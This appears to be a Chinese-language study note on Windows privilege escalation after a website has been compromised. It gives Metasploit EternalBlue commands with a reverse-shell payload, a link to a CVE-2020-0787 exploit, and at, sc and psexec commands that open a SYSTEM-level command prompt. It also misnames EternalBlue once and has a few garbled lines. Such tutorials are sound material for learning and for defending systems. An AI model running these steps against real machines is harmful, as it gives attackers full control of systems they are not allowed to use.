本地提权的学习
提权,顾名思义就是提升权限,当我们getshell一个网站之后,大部分情况下我们的权限是非常低的(一般只是一个apache权限)。这时候为了“扩大战果”,就需要利用提权,来让原本的低权限(如只允许列目录)–>高权限(拥有修改文件的能力),提升一下权限,有助于我们继续往下渗透。
提权的分类:
本地提权
数据库提权
第三方软件提权
Windows和Linux也都是这三种方式提权,这篇就以Windows的为例。
——
——
先理解windows中的权限分类。
system权限:是 Windows系统最高级别的权限 ,有一些操作需要System权限才能完成,比如修改注册表核心键值、强制结束恶意应用程序进程等。
管理员权限:具有最高的管理和使用权限,能改变系统所有设置,可以安装和删除程序,能访问计算机上所有的文件。除此之外,它还拥有控制其他用户的权限。
以及更低的权限……
——
——
账户类型
在windwos命令行或者win+r 中输入netplwiz ,可以windwos 中已有的用户账户。
可以看到 用户goodric 在 administrators 组中,即为管理员权限。
并且还有很多其它的组,代表不同的权限。可以给账户授予不同的权限。
几种常见的账户权限:
Administrator:管理员有计算机的完全访问权,可以做任何需要的更改。根据通知设置,可能会要求管理员在做出会影响其他用户的更改前提供密码或确认。
User:标准帐户用户可以使用大多数软件,并可以更改不影响其他用户的系统设置。
Guest:按默认值,来宾跟用户组的成员有同等访i问权,但来广帐广的制更多
还有简单说几个其它类型的账户权限:
PowerUser:
用程序外,还可以运行旧式应用程序
PrintOperator:
打印操作员可以获得打印机的控制权
BackupOperator:
备份操作员仅在出于备份或还原文件目的时才可以重写安全限制
webshell之后的权限提升
getshell之后,采用的提权方式就是系统内核提权了,比如永恒之蓝ms07-010提权,是445端口的一个漏洞。
运用系统内核漏洞,可以先用wesng工具检测目标存在的漏洞缺陷。
wesng简单介绍使用:检测Windows安全缺陷工具wesng的学习与使用
检测到可能存在的漏洞之后,可以用msf针对特定漏洞进行提权。
使用msf17-010漏洞
use exploit/windows/smb/ms17_010_eternalblue
设置payload
set payload windows/x64/meterpreter/reverse_tcp
设置目标ip
set rhost 192.168.43.56
执行
run
然后就进入了meterpreter 命令行
得到目标机器的system权限。
——
——
几个本地提权方式的演示
1、系统内核漏洞提权
这里用 cve-2020-0787 的一个漏洞,github下载其exp:
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
然后把这个exe文件拖进cmd命令行进行执行,即执行此文件的路径。
执行之后,就会自己弹出拥有system权限的cmd命令行。
2、at命令提权
影响版本:Win2000 & Win2003 & XP
就是设置一个计划任务,到了计划的时间就会执行计划任务cmd.exe
在14:46计划执行cmd.exe
at 14:46 /interactive cmd.exe
查看当前计划任务
at
到了计划时间时,可以看到,弹出了一个有system权限的cmd命令行。
3、sc命令提权
影响版本:win 7、win8、2003、2008
sc命令有个要求,等号和值之间需要有个空格。
创建一个名为test的交互式cmd服务。
sc create test binPath= “cmd /K start” type= own type= interact
执行这个创建的交互式服务
sc start test
执行之后,弹出了一个有system权限的cmd命令行
这里应该要以管理员运行cmd才可以执行下面的命令。不然会出现拒绝访问的问题。
4、ps命令提权
影响版本:Win2003 & Win2008
下载工具包:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
在下载的psexec.exe 文件目录下执行命令:
psexec.exe -accepteula -s -i -d cmd.exe